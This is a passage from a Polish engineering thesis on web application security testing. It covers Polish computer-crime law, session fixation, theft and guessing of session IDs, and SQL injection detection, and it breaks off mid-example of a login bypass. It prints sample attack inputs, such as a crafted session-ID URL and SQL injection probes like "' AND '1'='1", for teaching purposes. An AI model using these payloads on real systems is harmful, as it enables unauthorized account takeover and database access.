Uploaded by michal.kotara

Praca Inzynierska

advertisement
Rok akademicki 2012/2013
Politechnika Warszawska
Wydział Elektroniki i Technik Informacyjnych
Instytut Informatyki
PRACA DYPLOMOWA INŻYNIERSKA
Maciej Dobrowolski
Testowanie bezpieczeństwa aplikacji internetowych
Opiekun pracy
mgr inż. Paweł Radziszewski
Ocena: .....................................................
................................................................
Podpis Przewodniczącego
Komisji Egzaminu Dyplomowego
Kierunek:
Informatyka
Specjalność:
Inżynieria Systemów Informatycznych
Data urodzenia:
1990.12.24
Data rozpoczęcia studiów:
2009.10.01
Życiorys
Urodziłem się 24 grudnia 1990 roku w Warszawie. W roku 2006 ukończyłem gimnazjum
przy Zespole Szkół nr 1 w Pruszkowie. Następnie kontynuowałem naukę w Liceum
Ogólnokształcącym im. Tadeusza Kościuszki w Pruszkowie. W 2009 roku rozpocząłem
studia dzienne na Wydziale Elektroniki i Technik Informacyjnych Politechniki Warszawskiej.
W toku studiów wybrałem specjalizację Inżynieria Systemów Informatycznych.
.......................................................
Podpis studenta
EGZAMIN DYPLOMOWY
Złożył egzamin dyplomowy w dniu .................................................................................. 20__ r
z wynikiem ..................................................................................................................................
Ogólny wynik studiów: ...............................................................................................................
Dodatkowe wnioski i uwagi Komisji: .........................................................................................
......................................................................................................................................................
......................................................................................................................................................
STRESZCZENIE
Niniejsza praca jest poświęcona testom zabezpieczeń aplikacji internetowych, przedstawiono
w niej typowe podatności oraz sposoby ich wykorzystania. Częścią praktyczną pracy jest
dołączony system symulacji ataków, który pozwala na wykorzystanie większości z
opisywanych w pracy podatności na fikcyjnych stronach internetowych. System został
podzielony na dwanaście modułów, z których każdy skupia się na innej podatności. W pracy
opisane zostały także dołączone do systemu aplikacje pozwalające na automatyzację testów
zabezpieczeń aplikacji internetowych.
Słowa kluczowe: Bezpieczeństwo, Aplikacje internetowe, Testowanie, SQL, XSS, CSRF
Web Application Security Testing
This diploma thesis is dedicated to web application security testing, there are presented
typical vulnerabilities and their usage. As a part of the practical work, attack-simulation
system is included. It allows to use most of described vulnerabilities against fictional
websites. The system has been divided into twelve modules, each of which focuses on a
different vulnerability. Additionally, description of a few included to system applications,
useful for automated security testing of web applications is presented.
Keywords: Security, Web applications, Testing, SQL, XSS, CSRF
Spis treści
Słownik pojęć ......................................................................................................................................................... 2
1
Wstęp ............................................................................................................................................................. 3
1.1
2
Aspekty prawne ...................................................................................................................................... 3
Rodzaje podatności....................................................................................................................................... 7
2.1
Zarządzanie sesjami użytkowników ....................................................................................................... 7
2.1.1 Ustalanie identyfikatora sesji ............................................................................................................ 9
2.1.2 Kradzież identyfikatora sesji ........................................................................................................... 10
2.1.3 Odgadywanie identyfikatora sesji ................................................................................................... 11
2.2
Bazy danych ......................................................................................................................................... 13
2.2.1 Wykrywanie podatności na atak typu Wstrzyknięcie SQL ............................................................. 14
2.2.2 Omijanie logowania – Wstrzyknięcie SQL ..................................................................................... 15
2.2.3 Inne operacje na bazie danych – Wstrzyknięcie SQL ..................................................................... 17
2.3
Ataki typu cross-site............................................................................................................................. 20
2.3.1 Odbite XSS...................................................................................................................................... 20
2.3.2 Składowane XSS ............................................................................................................................. 23
2.3.3 DOM-based XSS ............................................................................................................................. 23
2.3.4 Wykorzystanie ataków XSS ............................................................................................................ 24
2.3.5 Request forgery ............................................................................................................................... 25
2.4
Ataki na przeglądarkę .......................................................................................................................... 29
2.4.1 Zdalne zapisywanie naciśnięć klawiszy w przeglądarce Firefox .................................................... 29
2.4.2 Poznanie historii odwiedzonych stron ............................................................................................. 31
3
4
2.5
Wyszukiwarka Google ......................................................................................................................... 31
2.6
Dobrze znane luki aplikacji internetowych .......................................................................................... 33
Narzędzia i automatyzacja testów ............................................................................................................. 35
3.1
Nikto .................................................................................................................................................... 35
3.2
Fimap................................................................................................................................................... 37
3.3
SQLiX .................................................................................................................................................. 38
Omówienie projektu ................................................................................................................................... 41
4.1
Opis projektu ....................................................................................................................................... 41
4.1.1 Ćwiczenia dołączone do SSA.......................................................................................................... 41
4.2
Wymagania .......................................................................................................................................... 45
4.2.1 Wymagania niefunkcjonalne ........................................................................................................... 46
4.2.2 Wymagania funkcjonalne ................................................................................................................ 49
4.3
Decyzje projektowe .............................................................................................................................. 54
4.3.1 Architektura systemu....................................................................................................................... 54
4.4
Implementacja ..................................................................................................................................... 56
4.4.1 System Symulacji Ataków .............................................................................................................. 56
4.4.2 System operacyjny typu „Live-CD” ................................................................................................ 62
5
Podsumowanie ............................................................................................................................................ 65
6
Bibliografia ................................................................................................................................................. 67
1
Słownik pojęć
Pojęcie
JS
Opis
Java Script – język skryptowy często stosowany na stronach
WWW.
XSS
Cross-Site Scripting (patrz 2.3).
CSRF
Cross-Site Request Forgery (patrz. 2.3.5).
OSRF
On-Site Request Forgery (patrz. 2.3.5).
SQL Injection
Wstrzyknięcie kodu SQL (patrz 2.2)
Live-CD
System operacyjny zainstalowany na nośniku z własnym
programem rozruchowym, umożliwiającym uruchomienie go w
pamięci RAM, bez potrzeby instalowania na dysku twardym
komputera.
2
1 Wstęp
Codziennie setki milionów osób korzystają z Internetu, zgodnie z raportem firmy Sandvine
[1] za pierwszą połowę roku 2012 protokół HTTP wygenerował nieco ponad 16% całego
ruchu internetowego. Użytkownicy Internetu nie zdają sobie sprawy z niebezpieczeństwa w
nim drzemiącego. Utrata nie tylko prywatności, ale także pieniędzy, czy też tożsamości, to w
Internecie codzienność.
Mając na uwadze wspomniany fakt, organizacje, które udostępniają swoje zasoby przez
protokół HTTP, zwracają uwagę na to, że nawet kilka godzin niedostępności w Internecie,
bądź też wyciek danych może skutkować ogromnymi stratami finansowymi. Coraz
popularniejsze stają się testy penetracyjne aplikacji internetowych, a wraz ze wzrostem
stopnia skomplikowania tych aplikacji, pojawia się także nowa specjalizacja w testach
penetracyjnych – zajmująca się tylko technologiami webowymi.
Testy zabezpieczeń odgrywają bardzo istotną rolę w procesie testowania samej aplikacji
internetowej. Atakujący mogą uzyskać dostęp do takich elementów jak system operacyjny
maszyny, bądź też baza danych, z której korzysta aplikacja. W przypadku takiej
kompromitacji mogą wyciec prywatne dane, w tym hasła użytkowników, ale także inne treści,
które nie są przeznaczone dla nieupoważnionych osób – skutki mogą być katastrofalne.
W Internecie można znaleźć wiele różnych systemów, które mogą ułatwić poznanie
praktycznej strony testów zabezpieczeń aplikacji internetowych, jednak brakuje pozycji
polskojęzycznych oraz takich, które są przeznaczone dla użytkowników z podstawową
wiedzą z omawianego tematu. W związku z tym, celem niniejszej pracy jest stworzenie
narzędzia dydaktycznego, które pozwoli przetestować podstawowe podatności aplikacji
internetowych w praktyce.
1.1 Aspekty prawne
Osoby, które chcą poznać tajniki testowania zabezpieczeń nie tylko w teorii, ale także w
praktyce, mają bardzo ograniczone pole działania, ponieważ sprawdzając swoją wiedzę w
sieci Internet są narażone na liczne konsekwencje prawne. Kodeks karny przewiduje cały
katalog przepisów dotyczących naruszeń w sferze informatycznej. Przewiduje on najwyższą
karę w postaci 8 lat więzienia za przestępstwa związane z tematyką pracy:
Art. 267. § 1. Kto bez uprawnienia uzyskuje dostęp do informacji dla niego
nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci
3
telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne,
informatyczne lub inne szczególne jej zabezpieczenie, podlega grzywnie, karze
ograniczenia wolności albo pozbawienia wolności do lat 2.
§ 2. Tej samej karze podlega, kto bez uprawnienia uzyskuje dostęp do całości lub
części systemu informatycznego.
§ 3. Tej samej karze podlega, kto w celu uzyskania informacji, do której nie jest
uprawniony, zakłada lub posługuje się urządzeniem podsłuchowym, wizualnym albo
innym urządzeniem lub oprogramowaniem.
§ 4. Tej samej karze podlega, kto informację uzyskaną w sposób określony w § 1-3
ujawnia innej osobie.
Art. 268. § 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub
zmienia zapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia
osobie uprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia
wolności albo pozbawienia wolności do lat 2.
§ 2. Jeżeli czyn określony w § 1 dotyczy zapisu na informatycznym nośniku danych,
sprawca podlega karze pozbawienia wolności do lat 3.
§ 3. Kto, dopuszczając się czynu określonego w § 1 lub 2, wyrządza znaczną szkodę
majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
Art. 268a. § 1. Kto, nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa,
zmienia lub utrudnia dostęp do danych informatycznych albo w istotnym stopniu
zakłóca lub uniemożliwia automatyczne przetwarzanie, gromadzenie lub
przekazywanie takich danych, podlega karze pozbawienia wolności do lat 3.
§ 2. Kto, dopuszczając się czynu określonego w § 1, wyrządza znaczną szkodę
majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
Art. 269. § 1. Kto niszczy, uszkadza, usuwa lub zmienia dane informatyczne o
szczególnym znaczeniu dla obronności kraju, bezpieczeństwa w komunikacji,
funkcjonowania administracji rządowej, innego organu państwowego lub instytucji
państwowej albo samorządu terytorialnego albo zakłóca lub uniemożliwia
automatyczne przetwarzanie, gromadzenie lub przekazywanie takich danych, podlega
4
karze pozbawienia wolności od 6 miesięcy do lat 8.
§ 2. Tej samej karze podlega, kto dopuszcza się czynu określonego w § 1, niszcząc
albo wymieniając informatyczny nośnik danych lub niszcząc albo uszkadzając
urządzenie służące do automatycznego przetwarzania, gromadzenia lub
przekazywania danych informatycznych.
Art. 269a. Kto, nie będąc do tego uprawnionym, przez transmisję, zniszczenie,
usunięcie, uszkodzenie, utrudnienie dostępu lub zmianę danych informatycznych, w
istotnym stopniu zakłóca pracę systemu komputerowego lub sieci teleinformatycznej,
podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
Art. 269b. § 1. Kto wytwarza, pozyskuje, zbywa lub udostępnia innym osobom
urządzenia lub programy komputerowe przystosowane do popełnienia przestępstwa
określonego w art. 165 § 1 pkt 4, art. 267 § 3, art. 268a § 1 albo § 2 w związku z § 1,
art. 269 § 2 albo art. 269a, a także hasła komputerowe, kody dostępu lub inne dane
umożliwiające dostęp do informacji przechowywanych w systemie komputerowym lub
sieci teleinformatycznej, podlega karze pozbawienia wolności do lat 3.
§ 2. W razie skazania za przestępstwo określone w § 1, sąd orzeka przepadek
określonych w nim przedmiotów, a może orzec ich przepadek, jeżeli nie stanowiły
własności sprawcy. [2]
W treści kodeksu karnego można dostrzec wyraźną różnicę pomiędzy zwykłym uzyskaniem
dostępu do atakowanej maszyny, a ingerencję w jej działanie, jednak często próba uzyskania
dostępu może wiązać się z zawieszeniem zdalnego systemu. Dlatego praca testera
bezpieczeństwa jest dość ryzykownym zajęciem i zawsze, przed podjęciem jakichkolwiek
działań, powinien się on upomnieć o stosowny dokument upoważniający go do
przeprowadzenia testu. Dokument, o którym mowa określa się mianem dozwolonego zakresu
działań (ang. Authorized Scope) i jest to jedyny dokument, dzięki któremu można nie pójść do
więzienia, czyli uniknąć kary.
Dozwolony zakres działań powinien zostać podpisany przez zleceniodawcę i zawierać dane
dotyczące adresów IP oraz aplikacji, do których ataku daje upoważnienie. Dokument
5
powinien zostać dostarczony wraz z dokładnym zakresem prac, który może obejmować tylko
zbadanie podatności, albo też wykorzystanie ich i dalszą eskalację włamania. Może się
zdarzyć tak, że zleceniodawca nie ujawni w dokumencie adresów IP serwerów, na których
uruchomione są aplikacje, które są jego własnością, a zaznaczy tylko, że atakujący ma prawo
do ataku na wszystkie posiadane przez niego serwery, co bardziej przypomina realne warunki
ataku. Tester bezpieczeństwa powinien poradzić sobie ze zdobyciem niezbędnych adresów
oraz ich późniejszą weryfikacją, w celu sprawdzenia, czy oby na pewno należą one do klienta
i leżą w dozwolonym zakresie jego działań, jednak w razie wątpliwości ma on prawo
skontaktować się ze zleceniodawcą i poprosić o wewnętrzną weryfikację – bezpieczeństwo
testera jest najważniejsze.
6
2 Rodzaje podatności
Wśród wektorów ataków na strony internetowe można wyróżnić kilka najpopularniejszych,
poniżej zostały przedstawione ich opisy wraz z zarysem teoretycznym, wyjaśniającym jak
działają i przez co są spowodowane. Większość luk w zabezpieczeniach powstaje w wyniku
niedopatrzeń programistów, bądź też założeń, że dana sytuacja nigdy się nie wydarzy –
niestety jest to błędne założenie, w systemie produkcyjnym należy dopuścić każdą możliwość
i się przed nią stosownie zabezpieczyć. W niniejszym rozdziale zostaną omówione głownie
ataki, których możliwość zastosowania wynika z niedopatrzeń programistów.
2.1 Zarządzanie sesjami użytkowników
Zarządzanie sesjami jest krytycznym mechanizmem w większości aplikacji internetowych.
Pozwala ono na jednoznaczne zidentyfikowanie żądań użytkownika pośród wielu innych oraz
przechowywanie danych, które świadczą o jego stanie interakcji z aplikacją.
Z racji odgrywania głównej roli w zabezpieczeniu konta użytkownika, mechanizm
zarządzania sesją jest często głównym celem ataku – jeżeli włamywacz może naruszyć
elementy sesji, może także obejść mechanizmy logowania i podszywać się pod dowolnego
użytkownika (nawet administratora), nie znając nawet jego danych autentykacyjnych.
Pierwsze dokumenty opisujące protokół HTTP sięgają roku 1991, kiedy jeszcze nikt nie
myślał o tym, jak szybko rozwinie się sieć internetowa i do jak zaawansowanych funkcji
będzie używany ten protokół. Strony internetowe miały mieć statyczną zawartość i protokół
miał służyć tylko do ich publikowania. Nie było potrzeby przechowywania stanu transakcji,
ponieważ każda z nich miała być autonomiczna – użytkownik miał żądać stronę, a serwer
miał ją udostępnić. Protokół został zaprojektowany z tą myślą i dlatego jest bezstanowy, co
oznacza, że opiera się na prostym modelu zapytanie-odpowiedź, w którym każda para
wiadomości jest niezależną transakcją.
Dziś duża część stron internetowych może być postrzegana jako aplikacje internetowe, można
się na nich zarejestrować i mieć własne konto, pozwalają kupować przedmioty, dokonywać
płatności internetowych, a nawet doglądać swoich spraw w rządowych organizacjach. Do
zaimplementowania tak złożonych mechanizmów zaistniała potrzeba przechowywania stanu
transakcji, pojawił się koncept sesji.
Najbardziej oczywistym zastosowaniem sesji jest obsługa logowania i utrzymanie jego stanu
pomiędzy kolejnymi stronami przeglądanymi w aplikacji, bez nich użytkownik musiałby
7
wpisywać na każdej kolejnej stronie swoje dane, co nie było by ani wygodne, ani bezpieczne.
Dlatego po zalogowaniu tworzona jest sesja, która jednoznacznie reprezentuje użytkownika,
któremu udało się przejść przez proces logowania i trwa ona aż do jej zamknięcia, bądź też
wygaśnięcia z powodu długiego czasu nieaktywności.
Oprócz najbardziej oczywistego zastosowania, sesje są jeszcze wykorzystywane w miejscach,
gdzie nie trzeba się logować. Dobrym przykładem może być sklep internetowy, w którym
można dodać kolejne produkty do wirtualnego koszyka, którego stan jest zachowywany
pomiędzy przejściami na kolejne strony sklepu.
Najprostszym i najbardziej popularnym sposobem identyfikacji użytkownika jest przypisanie
mu unikalnego identyfikatora (znacznika). Przy każdym kolejnym żądaniu użytkownik
przesyła swój znacznik, pozwalając aplikacji się zidentyfikować. Często stosowanym
sposobem na przesłanie identyfikatora sesji jest używanie mechanizmu ciasteczek (ang.
cookies). Jest to mała porcja danych przesłana przez stronę internetową i zapisana w
przeglądarce internetowej. Kiedy użytkownik przegląda kolejną podstronę w danej domenie,
dane z ciasteczka są przesyłane w żądaniu HTTP z powrotem do strony.
Przesyłanie identyfikatora sesji może się również odbywać przy pomocy pól ukrytych na
stronie internetowej, co jest niewygodnym rozwiązaniem, ponieważ przy każdym przejściu na
kolejną podstronę użytkownik musi przesyłać formularz, co komplikuje implementację
aplikacji.
Kolejnym sposobem jest parametryzowanie adresów URL, jeżeli użytkownik przechodzi na
kolejne podstrony to do adresu strony doklejany jest parametr będący identyfikatorem sesji
(metoda przesyłania parametrów GET).
Oczywiście na rynku nie brakuje rozwiązań hybrydowych, które wykorzystują jednocześnie
wszystkie z tych mechanizmów, czyniąc identyfikator sesji trudnym do odkrycia.
Alternatywą dla sesji mogą być dwie technologie:

HTTP Authentication – aplikacje używające tego mechanizmu nie muszą korzystać
z sesji, przy każdym kolejnym żądaniu przeglądarka internetowa dołącza specjalny
nagłówek Authorization, po którym następują zakodowane dane do logowania. W
najprostszej wersji określonej mianem Basic. Tworzony jest ciąg znaków będący
konkatenacją nazwy użytkownika, średnika i hasła. Tak uzyskany ciąg znaków jest
8
kodowany przy użyciu base64 i wysyłany przy każdym żądaniu strony. Nietrudno
zauważyć, że takie rozwiązanie nie gwarantuje bezpieczeństwa, ponieważ kod base64
bardzo łatwo odwrócić i uzyskać z powrotem dane do logowania (celem zastosowania
base64 nie było bezpieczeństwo, ale wyeliminowanie możliwości pojawienia się
znaków, które mogły by się źle przetwarzać). Z tego powodu autoryzacja przy użyciu
HTTP Basic Authorization powinna służyć głównie do stron zabezpieczonych
protokołem HTTPS.
Inny wariant HTTP Authentication - Digest jest bardziej
bezpieczny, ponieważ oferuje tworzenie skrótów md5, które nie są łatwo-odwracalne.
Wadą tej technologii jest fakt, że bardzo mało przeglądarek internetowych potrafi się
wylogować z tak rozpoczętej transakcji – z reguły należy zamknąć przeglądarkę.

Stanowe mechanizmy bezsesyjne – niektóre aplikacje przechowują wszystkie
niezbędne dane po stronie klienta. Do takich danych mogą należeć: nazwa
użytkownika, hasło i inne ustawienia zależne od aplikacji. Dane przechowywane po
stronie klienta są oczywiście w ciasteczkach, chociaż zdarzają się aplikacje, które dane
te ukrywają w polach formularzy. Zastosowanie takiego mechanizmu wymaga to
używania dodatkowej ochrony danych w postaci HTTPS.
Jeżeli atakującemu uda się w jakiś sposób przejąć sesję innego zalogowanego użytkownika, to
w zależności od aplikacji z której korzysta dany użytkownik, atakujący może podszyć się pod
niego i uzyskać dostęp do prywatnych danych należących do prawowitego właściciela, lub
nawet podejmować w jego imieniu pewne działania.
2.1.1 Ustalanie identyfikatora sesji
Ustalanie identyfikatora sesji (ang. session fixation) to prosty atak pozwalający atakującemu
przejąć sesję użytkownika w dość specyficzny sposób. Polega on na przypisaniu,
wygenerowanego przez atakującego, identyfikatora sesji do sesji prawowitego użytkownika.
Atak może być skuteczny tylko wtedy, kiedy dana aplikacja nie weryfikuje przydzielanych
identyfikatorów sesji, a jedynie nadaje im losowe, bądź sekwencyjne symbole. Jeżeli po
podmianie identyfikatora sesji na własny np. 1234567890, aplikacja zachowa identyfikator i
pozwoli się zalogować, zachowując uprzednio nadany identyfikator to jest podatna na atak.
Wystarczy zmusić danego użytkownika, do zalogowania się na swoje konto, po wejściu na
stronę poprzez spreparowany adres URL, bądź formularz.
9
Poniżej przedstawiono kilka technik pozwalających wykonać atak na aplikacje przechowujące
identyfikatory sesji w wymienionych miejscach, warunkiem koniecznym do wykonania ataku
jest podatność danej aplikacji na atak typu Ustalenie identyfikatora sesji:
Identyfikator sesji jako argument URL
Należy wysłać ofierze adres URL ze spreparowanym identyfikatorem sesji, np. gdy dobry
adres wygląda następująco:
http://adres-strony.pl/?SID=LPynlo5X2Ii1GidNmwaufTZAk1jdmNnI
Należy podmienić identyfikator „LPynlo5X2Ii1GidNmwaufTZAk1jdmNnI” na własny np.
„ToJestAtakSessionFixation”:
http://adres-strony.pl/?SID=ToJestAtakSessionFixation
Gdy ofiara zaloguje się na swoje konto, to z dużą dozą prawdopodobieństwa atakujący będzie
mógł wejść pod ten sam adres (z wcześniej ustalonym identyfikatorem sesji) będąc już
zalogowanym jako ofiara.
Identyfikator sesji jako dane zapisane w ciasteczku
Ta technika wymaga od atakującego użycia jeszcze jednego typu ataku – XSS, należy ukryć
złośliwy kod podmieniający wartość ciasteczka (funkcja w JavaScript - document.cookie)
strony znajdującej się w obrębie aplikacji, z której korzysta ofiara. Następnie ofiara zostanie
wylogowana (identyfikator sesji zmienił się) i po ponownym zalogowaniu się, do wcześniej
ustalonego identyfikatora sesji przypisze się aktywna sesja użytkownika.
2.1.2 Kradzież identyfikatora sesji
Podatność na kradzież identyfikatora sesji występuje w aplikacjach, które nie weryfikują
dodatkowo klientów, którzy wysyłają swoje identyfikatory sesji w żądaniu. Nowoczesne i
bezpieczne aplikacje internetowe nie tylko sprawdzają czy dany identyfikator sesji jest
poprawny, ale także czy poprzednie żądanie pochodzi z tego samego źródła. Weryfikacja taka
może zostać przeprowadzona na kilka sposobów – przeglądarki internetowe wysyłają szereg
wiadomości o sobie oraz o maszynie na jakiej działają. Oprócz tych danych, serwisy
internetowe mają także do dyspozycji adresy IP klientów, (chociaż w dobie pustej puli
wolnych adresów IPv4 i dużego rozpowszechnienia technologii NAT (maskarada, ang.
Network Address Translation) nie jest to zbyt dobry wyznacznik.
10
Jeśli aplikacja internetowa nie stosuje wyżej opisanej podwójnej weryfikacji to jest podatna
na atak typu kradzież identyfikatora sesji. Scenariusz ataku jest bardzo podobny do „Ustalanie
identyfikatora sesji” z różnicą, iż to nie atakujący narzuca identyfikator ofierze, ale ofiara
sama zdobywa prawidłowy identyfikator sesji, a następnie przesyła go atakującemu.
Istnieje wiele sposobów na przeprowadzenie pomyślnej kradzieży znacznika sesji, jednak sam
identyfikator może znajdować się w wielu miejscach – dlatego atakujący powinien wiedzieć
nie tylko czego szukać, ale i gdzie.
Jeśli miejsce przechowywania identyfikatora sesji jest znane, to w zależności od niego
atakujący może przygotować atak XSS i wykraść znacznik. W skrajnych przypadkach
pomaga zastosowanie socjotechniki, co wymaga jednak kontaktu z ofiarą.
2.1.3 Odgadywanie identyfikatora sesji
Zanim identyfikator sesji zostanie przypisany do danego użytkownika – aplikacja musi go
wygenerować. Do generacji można użyć kilku sposobów:
1. Uzależnić identyfikator od pewnych danych (np. dane użytkownika).
2. Wylosować pewną liczbę znaków, dostatecznie długą, aby powtórzenie miało małą
szansę wystąpienia.
3. Połączyć generację ciągu pseudolosowych znaków z pewnymi danymi użytkownika.
Po przypisaniu identyfikatora należy w jakiś sposób sprawdzać, czy kolejne żądania HTTP z
danym znacznikiem sesji są przypisane do jakiegoś użytkownika i wykonywać w jego
kontekście pewne akcje. Z tej czynności wynika konieczność przechowywania pewnych
danych po stronie serwera (na przykład znacznik sesji i identyfikator użytkownika).
Jednak jeśli programista uzależni generację identyfikatora sesji tylko od danych użytkownika
(sposób pierwszy) to w praktyce nie musi on przechowywać w bazie identyfikatorów sesji.
Atak opisywany w tym podrozdziale zakłada generację znaczników sesji w sposób, który
został oznaczony jedynką.
Przewidzenie identyfikatora sesji innego użytkownika może być zadaniem nietrywialnym,
jest to zadanie manualne i wymagające podejścia detektywistycznego. Należy zbadać
dokładnie na jakiej zasadzie generowane są znaczniki i gdy uda się rozpracować ten
mechanizm – atak będzie przeprowadzony z sukcesem.
11
Dokładna analiza problemu generowania identyfikatorów sesji leży poza zakresem tej pracy,
jednak istnieje kilka uniwersalnych kroków, które mogą odnieść pożądany skutek:
1. Należy na podstawie kolejnych zapytań wydedukować, gdzie przechowywany jest
identyfikator sesji – mogą to być trzy miejsca (czasami występują jednocześnie, a
identyfikator sesji może być ich konkatenacją):
a. Parametr zawarty w adresie URL.
b. Ukryte pole formularza na stronie.
c. Zawartość ciasteczek.
2. Krok powinien zostać wykonany iteracyjnie dla każdego pola formularza np.
rejestracyjnego (podczas tworzenia nowego konta):
a. Należy stworzyć kilka kont w badanej aplikacji i przechwycić ich znaczniki,
każda rejestracja powinna zostać wykonana przy podaniu podobnych danych,
jednak różniących się od siebie jedną literą np. AAAA, AAAB, CAAA.
b. Należy przeanalizować znaczniki pod kątem występowania podobnych
danych.
c. Jeżeli znaczniki mają wspólne sekwencje znaków to można sądzić, iż znacznik
nie jest kodowany, a jedynie zapisany przy użyciu pewnej funkcji np. XOR,
bądź też zapisany jako kod ASCII w reprezentacji znaków heksadecymalnych.
Jeżeli zaś dane są za każdym razem inne to można sądzić, że zostało
zastosowane kodowanie. Popularną metodą kodowania jest zapis w base64 –
ciąg jest wtedy zakończony znakiem „=”.
3. Gdy uda się doprowadzić
do znajomości chociażby części metody generowania
znacznika, to być może jest to wystarczająca wiedza do przeprowadzenia ataku,
należy podmienić odpowiednie pola danymi z innego zarejestrowanego przez testera
konta.
4. Jeżeli poprzedni krok poskutkował zmianą zalogowanego użytkownika na konto, do
którego dane zostały podane w znaczniku to atak został przeprowadzony z sukcesem.
W znacznikach często występują takie ciągi znaków jak:

Stałe wartości

Wartości zależne od czasu

Rosnące sekwencje

Dane użytkownika (np. część nazwy użytkownika).
12
Uwaga
Duże serwisy coraz częściej implementują dodatkowe zabezpieczenia, takie jak sprawdzanie
adresu IP przy kolejnych żądaniach, jeśli się on zmieni, to następuje wylogowanie.
2.2 Bazy danych
W dzisiejszych czasach niemal wszystkie aplikacje internetowe korzystają z baz danych.
Większość tych aplikacji musi przechowywać dane, które przetwarza, bądź też po prostu
wyświetla. W wielu przypadkach baza danych odgrywa istotną rolę w kierowaniu logiką
aplikacji, są w niej przetrzymywane ustawienia aplikacji, dane kont użytkowników,
uprawnienia i wiele innych ważnych danych, które niejako sterują aplikacją.
Jeżeli atakujący jest w stanie wpłynąć na współpracę aplikacji z bazą danych, tak aby
odczytać inne niż zamierzone dane, bądź też zmodyfikować dane wpisy, to zwykle może
także ominąć system zabezpieczeń.
Atakujący często nie chcą uzyskać dostępu do panelów administracyjnych, lub innych kont –
cennym łupem okazują się także zrzuty tabel przechowujących dane użytkowników takie jak
nazwa użytkownika, skrót hasła, adres email. Na nielegalnych forach zajmujących się
tematyką bezpieczeństwa komputerowego można co jakiś czas znaleźć oferty sprzedaży
konkretnych danych związanych z jednym użytkownikiem, jak i całe zrzuty tabel. Jak się
okazuje, duża część użytkowników Internetu korzysta z tych samych haseł w wielu serwisach
internetowych, dlatego złamanie skrótu hasła może okazać się furtką do dalszej eskalacji
włamania.
Najpopularniejszym atakiem, który umożliwia dostęp do bazy danych, jest niewątpliwie
Wstrzyknięcie SQL (ang. SQL Injection). Atak polega na odpowiedniej modyfikacji
zapytania, które aplikacja stosuje do bazy danych, tak, aby umieścić tam swoje polecenia i
wykonywać dowolne operacje na bazie danych.
Omawiany atak ma kilka wad – przede wszystkim często nie jest znany silnik bazy danych, z
której korzysta aplikacja. Co więcej, atakujący nie wie jakie tabele może w znaleźć w bazie.
Atak Wstrzyknięcie SQL i jego wykorzystanie zostanie w tym rozdziale.
13
2.2.1 Wykrywanie podatności na atak typu Wstrzyknięcie SQL
Najprostszym sposobem na wykrycie podatności typu Wstrzyknięcie SQL jest postępowanie
według poniższego algorytmu:
1. Wejść na stronę internetową na której działa aplikacja.
2. Znaleźć wszystkie pola (także ukryte), które są wysyłane w żądaniu do aplikacji
(zarówno metodą POST, jak i GET).
3. Zastanowić się, które ze znalezionych pól są wykorzystywane do zapytań do bazy
danych, jaki jest cel tego zapytania i jak może ono wyglądać.
4. Dla każdego wybranego w poprzednim kroku pola wykonać następujące kroki:
a. Wpisać wartość, która może powodować błąd w składni zapytania (np. znak ‘
).
b. Spróbować znaleźć anomalie w odpowiedzi aplikacji i zastanowić się, czy
mogą one być skutkiem poprzedniego kroku i czy można je wykorzystać.
5. Jeżeli znaleziono pola, których modyfikacja odpowiednią wartością powoduje
anomalie w odpowiedzi to możliwe, że aplikacja jest podatna na ten typ ataku.
Dla przykładu, na fikcyjnej stronie internetowej wybieranie artykułów, które czyta jej
użytkownik polega na zmianie identyfikatora id w adresie URL (żądanie z parametrem GET)
strony, czyli:
http://strona-z-artykulami.cc/czytajartykul.php?id=22
Identyfikator aktualnie czytanego artykułu to 22, adresem do innego artykułu (np. o numerze
534) może być:
http://strona-z-artykulami.cc/czytajartykul.php?id=534
Anomalią w działaniu aplikacji może być zastąpienie identyfikatora 534 wyrażeniem
matematycznym „533+1”. Jeżeli aplikacja wyświetli ten sam artykuł, to znaczy ze istnieje
podatność typu Wstrzyknięcie SQL i jest bardzo prawdopodobne, że uda się ją wykorzystać.
Kolejnym testem może być dopisanie do identyfikatora wyrażenia, które zawsze jest
prawdziwe, zachowując przy tym poprawną formę zapytania SQL:
http://strona-z-artykulami.cc/czytajartykul.php?id=534’ AND ‘1’=’1
14
Jeżeli ponownie został wyświetlony ten sam artykuł, to także można mieć pewność, że
podatność istnieje i na pewno uda się ją wykorzystać.
Algorytm opisuje sprawdzanie każdego pola po kolei, dzieje się tak dlatego, że zależnie od
konwencji przyjętej przez programistę, często każde pole walidowane jest oddzielnie –
możliwe, że nawet jeżeli programista waliduje treść pól, to mógł zapomnieć o jednym z nich.
2.2.2 Omijanie logowania – Wstrzyknięcie SQL
Jeśli logika aplikacji, odpowiedzialna za autentykacje użytkownika, jest zależna od wyniku
zapytania zadanego bazie danych, to jeśli atakujący mógłby odpowiednio zmienić zapytanie,
to mógłby także ominąć zabezpieczenia i zalogować się na dowolne konto. Poniżej
przedstawiono przykład zapytania, które pewna aplikacja stosuje do bazy danych, aby
sprawdzić, czy użytkownik podał dobre dane do logowania.
SELECT user_id FROM users WHERE user_login = ‘Administrator’ AND
user_password = ‘dc0c95554435eb1e82c1bb7b8b40a980’
Powyższe zapytanie jest wynikiem algorytmu:
1. Pobierz dane wpisane przez użytkownika.
2. Przygotuj szablon zapytania:
SELECT user_id FROM users WHERE user_login = ‘%1’ AND user_password =
‘%2’
3. Zastąp %1 loginem użytkownika.
4. Zastąp %2 skrótem hasła (MD5) użytkownika.
Jeżeli takie zapytanie zwróci niepusty wynik, to znaczy, że taki użytkownik istnieje w bazie
danych i jego dane do logowania są dobre, dlatego zaraz po tym następuje nadanie
użytkownikowi odpowiednich praw.
Znając podstawy języka SQL można wprowadzić pewną zmianę do szablonu zapytania, tak
aby zapytanie działało inaczej.
15
W omawianym przykładzie pole oznaczone symbolem %2 nie nadaje się do modyfikacji,
ponieważ treść wpisana przez użytkownika jest przetwarzana przez funkcję skrótu i zawiera
tylko określone znaki, jednak pole %1 daje dużo większe możliwości ataku. Jeżeli w
formularzu internetowym, wpisze:
Zaloguj się do bezpiecznego systemu
Nazwa użytkownika:
